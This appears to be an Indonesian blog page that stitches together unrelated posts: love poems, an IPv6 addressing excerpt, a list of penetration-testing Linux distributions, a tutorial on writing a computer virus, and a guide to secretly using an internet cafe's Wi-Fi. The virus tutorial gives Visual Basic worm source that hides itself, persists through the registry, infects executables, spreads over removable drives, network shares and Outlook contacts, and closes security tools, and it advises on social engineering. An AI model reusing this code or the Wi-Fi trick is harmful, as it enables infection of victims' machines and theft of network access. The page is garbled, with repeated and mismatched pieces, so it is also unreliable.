Kulihat kau dari tempat berbeda
Rasa cintaku mengalir tiada henti
Dari dunia menuju tempat terindah
Dari hati menuju hati yang suci
Air mata hanya sebagai jawaban
Dari kesedihan yang datangi indahnya hari
Secepat inikah takdir kehidupan?
Apa mungkin Tuhan terlalu peduli?
Memang ku tak bisa mengubah hidup
Ku juga tak bisa halangi kematian
Sadarlah ku sayang kau
Sadarlah ku cinta kau
Demi apapun yang kan di pertaruhkan
Ku peluk kau dengan cara berbeda
Rasa rinduku besar tak terkendali
Dari dunia menuju surga
Dari sanubari menuju hati yang suci
Memang kau tak bisa mengubah hidup
Kau juga tak bisa halangi kematian
Sadarlah kau ku sayang
Sadarlah kau ku cinta
Demi apapun yang kan di pertaruhkan
(Dedicated to My Friend’s Brother, Alm. Muammar Qhadafi)
~Tanzi Al-Fisah~
MAKIN CINTA
akan kumulai darimana lagi
tuk ungkapkan cinta untukmu
pujangga pun angkat tangan sudah
tinggalkan penanya dikertas putihku
langit pun tersungging saja
melukis cinta di matanya
andai pelangi turun di sini
kujadikan pita perekat hatiku
ada cinta untukmu
mungkin tak seindah syair
tak seharum mawar
namun ada cinta untukmu
yang datang dengan apadanya
namun jadi diraja merajai waktu
LOVE YOU SO MUCH HASIANq
(B’ SiManullang)
Puisi ini bersumber dari : http://www.gudangpuisi.com/2011/02/makin-cinta.html#ixzz1gKt2wvUZ
Blogger yang beretika selalu menampilkan sumbernya.
tuk ungkapkan cinta untukmu
pujangga pun angkat tangan sudah
tinggalkan penanya dikertas putihku
langit pun tersungging saja
melukis cinta di matanya
andai pelangi turun di sini
kujadikan pita perekat hatiku
ada cinta untukmu
mungkin tak seindah syair
tak seharum mawar
namun ada cinta untukmu
yang datang dengan apadanya
namun jadi diraja merajai waktu
LOVE YOU SO MUCH HASIANq
(B’ SiManullang)
to someone loved me
Puisi ini bersumber dari : http://www.gudangpuisi.com/2011/02/makin-cinta.html#ixzz1gKt2wvUZ
Blogger yang beretika selalu menampilkan sumbernya.
Alamat IP versi 6
Dari Wikipedia bahasa Indonesia, ensiklopedia bebas
Format Alamat
Dalam IPv6, alamat 128-bit akan dibagi ke dalam 8 blok berukuran 16-bit, yang dapat dikonversikan ke dalam bilangan heksadesimal berukuran 4-digit. Setiap blok bilangan heksadesimal tersebut akan dipisahkan dengan tanda titik dua (:). Karenanya, format notasi yang digunakan oleh IPv6 juga sering disebut dengan colon-hexadecimal format, berbeda dengan IPv4 yang menggunakan dotted-decimal format.Berikut ini adalah contoh alamat IPv6 dalam bentuk bilangan biner:
0010000111011010000000001101001100000000000000000010111100111011000000101010101
0000000001111111111111110001010001001110001011010Untuk menerjemahkannya ke dalam bentuk notasi colon-hexadecimal format, angka-angka biner di atas harus dibagi ke dalam 8 buah blok berukuran 16-bit:
0010000111011010 0000000011010011 0000000000000000 0010111100111011
0000001010101010 0000000011111111 1111111000101000 1001110001011010Lalu, setiap blok berukuran 16-bit tersebut harus dikonversikan ke dalam bilangan heksadesimal dan setiap bilangan heksadesimal tersebut dipisahkan dengan menggunakan tanda titik dua. Hasil konversinya adalah sebagai berikut:
21DA:00D3:0000:2F3B:02AA:00FF:FE28:9C5A
Jenis-jenis Alamat IPv6
IPv6 mendukung beberapa jenis format prefix, yakni sebagai berikut:- Alamat Unicast, yang menyediakan komunikasi secara point-to-point, secara langsung antara dua host dalam sebuah jaringan.
- Alamat Multicast, yang menyediakan metode untuk mengirimkan sebuah paket data ke banyak host yang berada dalam group yang sama. Alamat ini digunakan dalam komunikasi one-to-many.
- Alamat Anycast, yang menyediakan metode penyampaian paket data kepada anggota terdekat dari sebuah group. Alamat ini digunakan dalam komunikasi one-to-one-of-many. Alamat ini juga digunakan hanya sebagai alamat tujuan (destination address) dan diberikan hanya kepada router, bukan kepada host-host biasa.
- Link-Local, merupakan sebuah jenis alamat yang mengizinkan sebuah komputer agar dapat berkomunikasi dengan komputer lainnya dalam satu subnet.
- Site-Local, merupakan sebuah jenis alamat yang mengizinkan sebuah komputer agar dapat berkomunikasi dengan komputer lainnya dalam sebuah intranet.
- Global Address, merupakan sebuah jenis alamat yang mengizinkan sebuah komputer agar dapat berkomunikasi dengan komputer lainnya dalam Internet berbasis IPv6.
Multicast Address
Alamat multicast IPv6 sama seperti halnya alamat multicast pada IPv4. Paket-paket yang ditujukan ke sebuah alamat multicast akan disampaikan terhadap semua interface yang dikenali oleh alamat tersebut. Prefiks alamat yang digunakan oleh alamat multicast IPv6 adalah
FF00::/8
.Field | Panjang | Keterangan |
---|---|---|
11111111 | 8 bit | Tanda pengenal bahwa alamat ini adalah alamat multicast. |
Flags | 4 bit | Berfungsi sebagai tanda pengenal apakah alamat ini adalah alamat transient atau bukan. Jika nilainya 0, maka alamat ini bukan alamat transient, dan alamat ini merujuk kepada alamat multicast yang ditetapkan secara permanen. Jika nilainya 1, maka alamat ini adalah alamat transient. |
Scope | 4 bit | Berfungsi untuk mengindikasikan cakupan lalu lintas multicast, seperti halnya interface-local, link-local, site-local, organization-local atau global. |
Group ID | 112 bit | Berfungsi sebagai tanda pengenal group multicast |
Beberapa Distro untuk Hacking
Pada kesempatan kali ini saya akan sedikit berbagi tentang Distro Linux yang paling banyak digunakan untuk hacking atau penetrasi test jaringan (pentest).
Penetrasi jaringan adalah proses yang dilakukan oleh seseorang (pentester) untuk masuk ke jaringan atau komputer dengan cara mencari celah keamanan (vulnerability) dalam sistem.
Pentesting sangat diperlukan untuk meminimalisasi celah keamanan yang ada. Dengan begitu seseorang yang tidak punya hak tidak akan mudah masuk ke sistem.
Yang jelas pentest itu intinya mencari celah keamanan dalam sistem untuk selanjutnya melakukan perbaikan (patch) terhadap celah tersebut.
Mungin sebagaian dari kawan-kawan sudah banyak yang mencoba dari beberapa distro linux ini. Salah satu yang paling terkenal adalah backtrack. Tapi ternyata masih banyak distro lain yang menarik untuk dicoba jika ingin melakukan penetrasi network.
Penetrasi jaringan adalah proses yang dilakukan oleh seseorang (pentester) untuk masuk ke jaringan atau komputer dengan cara mencari celah keamanan (vulnerability) dalam sistem.
Pentesting sangat diperlukan untuk meminimalisasi celah keamanan yang ada. Dengan begitu seseorang yang tidak punya hak tidak akan mudah masuk ke sistem.
Yang jelas pentest itu intinya mencari celah keamanan dalam sistem untuk selanjutnya melakukan perbaikan (patch) terhadap celah tersebut.
Mungin sebagaian dari kawan-kawan sudah banyak yang mencoba dari beberapa distro linux ini. Salah satu yang paling terkenal adalah backtrack. Tapi ternyata masih banyak distro lain yang menarik untuk dicoba jika ingin melakukan penetrasi network.
1. BACKTRACK
Backtrack merupakan salah satu distro linux untuk penetrasi dan audit yang paling banyak digunakan saat ini di seluruh dunia. Backtrack awalnya adalah Whoppix, IWHAX, and Auditor kemudian di gabungkan menjadi satu live linux cd dimana terintegrasi lebih dari 300 security tools didalamnya. Tak Heran Backtrack 4 pre release di download lebih dari 4 juta. Versi terakhir backtrack 5 di release 10 mei 2011.
2. Samurai Web Testing Framework
Buat yang biasa dengan Web Testing tak salah untuk menggunakan ini. Distro linux ini memang di khususkan untuk web testing. Didalamnya terdapat banyak open source tool pilihan untuk web testing. Seperti dikutif di official webnya, Web testing framework menyediakan tool-tool untuk web test dalam 4 tahap.
Dimulai dengan tahap reconnaissance, distro ini menyediakan tool semacam fierce domain scanner dan maltego. Untuk mapping tersedia tool semacam WebScarab dan ratproxy. tahap Discovery bisa menggunakan tool w3af dan burp. Dan terakhir exploitasi tersedia tool BeEF, AJAXShell dan lainya. versi terakhirnya adalah samurai-0.9.9.
Dimulai dengan tahap reconnaissance, distro ini menyediakan tool semacam fierce domain scanner dan maltego. Untuk mapping tersedia tool semacam WebScarab dan ratproxy. tahap Discovery bisa menggunakan tool w3af dan burp. Dan terakhir exploitasi tersedia tool BeEF, AJAXShell dan lainya. versi terakhirnya adalah samurai-0.9.9.
3. NetSecL
NetSecL adalah Distro linux berbasis OpenSuse Untuk penetrasi jaringan Computer desktop maupun server. Versi terakhir NetsecL 3.2 dengan fitur XFCE memberikan performance yang handal, compatibility dengan OpenSuse 11.4 dan kernel 2.6.32.8. Bagi agan yang biasa dengan lingkungan OpenSuse NetSecl bisa menjadi pilihan untuk melakukan pentest system.
Live DVd hacking adalah distro linux baru dengan base Ubuntu yang berisi tool-tool untuk ethical hacking, pentest, dan countermeasure. Didalamnya terdapat tool-tool untuk DNS, reconnaissance, foot-printing (mengumpulkan informasi komputer target), password kracking, network sniffing, spoofing dan wireless utilities. Untuk daftar list tool yang tersedia didalamnya bisa langsung chek di official webnya, and disini juga banyak free tutorial dan demo video.
Distro Linux ini sesuai namanya berbasis ubuntu dengan GNOME Desktop Environtment Di buat terutama untuk security training students dan praktisi security jaringan. Built di ubuntuk versi 10.10 dan salah satu distro untuk penetrasi mirip Backtrack. Versi terakhir CE 0.2
Yang tertarik di Dunia Forensic komputer. International team of forensic expert Sans Faculty telah membuat distro linux yang di khusunya untuk bidang ini. Distro linux ini telah di release ke public dan bisa digunakan oleh setiap orang yang tertarik untuk 'menangkap intruder' . Tookit yang disediakan sudah sesuai dengan perkembangan modern forensic tool. Mungkin Distro ini untuk advance user kayaknya tapi jika ingin mencobanya bisa baca terlebih dahulu official webnya.
7. Operator
Satu lagi Distro turunan Debian untuk penestrasi jaringan. Distro yang mirip dengan knoppix yang bootable dari cd dan running di RAM ini dilengkapi juga dengan forensic dan recovery tool.
Operator berisi banyak open source network security tool untuk penetrasi computer dan server agan. langsung saja check out webnya dan download.
Satu lagi Distro turunan Debian untuk penestrasi jaringan. Distro yang mirip dengan knoppix yang bootable dari cd dan running di RAM ini dilengkapi juga dengan forensic dan recovery tool.
Operator berisi banyak open source network security tool untuk penetrasi computer dan server agan. langsung saja check out webnya dan download.
Thank's to ermayu.blogspot.com karena sudah mau membagikan artikelnya
Teknik Pembuatan Virus Komputer
Syarat sebuah virus computer :
- Menyembunyikan prosesnya dari pemakai
- Mengaktifkan dirinya setiap startup sistem
- Menyebarkan dirinya melalui media file executable
- Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
- Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
- Menyebarkan dirinya dengan filename spoofing.
- Mempercepat proses penyebarannya dengan pendekatan social engineering
- Berusaha mempertahankan existensi dirinya
Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.
Menyembunyikan prosesnya dari pemakai
Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :
App.TaskVisible = False
Kemudian untuk menyembunyikan form dapat menggunakan :
Me.Visible = False
Mengaktifkan dirinya setiap startup sistem
Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :
FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName
dan menambah ke registry :
Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable
Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus + Signature Virus
Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :
Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
'Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum 'Buka file target
Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature 'baca tSignature
Close fNum
If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)
Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature
If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1
Call VirInstall 'instalasi virus
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & ".exe"
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.
Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.
Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :
Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.
Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.
Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :
Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub
Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :
Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer
On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub
Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.
Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.
Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.
Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.
Menyebarkan dirinya dengan filename spoofing.
Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :
Misalnya :
SuratCinta.doc.pif
Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :
SuratCinta.doc
Mempercepat proses penyebarannya dengan pendekatan social engineering.
Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.
Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.
Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.
Berusaha mempertahankan existensi dirinya
Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"
Maupun melacak jendela proses-proses musuh, dan menutupnya.
Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub
Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub
Kesimpulan :
Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.
Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.
Lampiran A
‘API Declaration Modul
Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type
Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1
Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function
Lampiran B
‘Form ff
Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer
Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub
Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub
Hallo semua....
jumpa lagi sama saya moch ciku-ciku cinta(di fb) kali ini saya akan membahas suatu trik yang mungkin udah banyak di ketahui orang lain...
ini trik curi internet dari warnet..
OK langsung saja tanpa ada basa basi..
Hal yang perlu dipersiapkan...
1. Laptop lengkap settingan WIFI
2. nyali dan kemauan belajar
3. Target harus memakai modem ADSL dengan fitur wireless
OK kita mulai ya..
ini contoh modem yang saya bicarakan..
tuch dia contoh nyaini "belkin adsl modem" dilengkapi fitur wireless mode
lihat saja ada antena nya
TUTORIAL:
1. kamu datang ke warnet dengan wajah tanpa dosa.
2. usahakan main sebentar jika "nothing money" ini dilewatkan
3. catat DNS yang ada diwarnet itu.
3. buka laptop anda dan nyalakan wireless nya
4. pasti akan terdeteksi wireless dari modem tersebut
5. koneksikan dan konfigurasi IP dan DNSnya secara manual
CONTOH
1. IP 192.168.1.1 gateway
IP 192.168.1.255 broadcast
DNS server 1 203.123.243.150
DNS server 2 202.134.0.134
2. berarti konfigurasi IP-mu dari 192.168.1.2 - 192.168.1.254 terserah mau yang mana
3. lihat hasil nya ada akan mendapatkan hak akses secara gratis..
NB:
1. usahakan berada jauh dari operator.
2. Resiko diluar tanggung jawab saya. :)
3. Jangan lupa follow dan komentarnya
Langganan:
Postingan (Atom)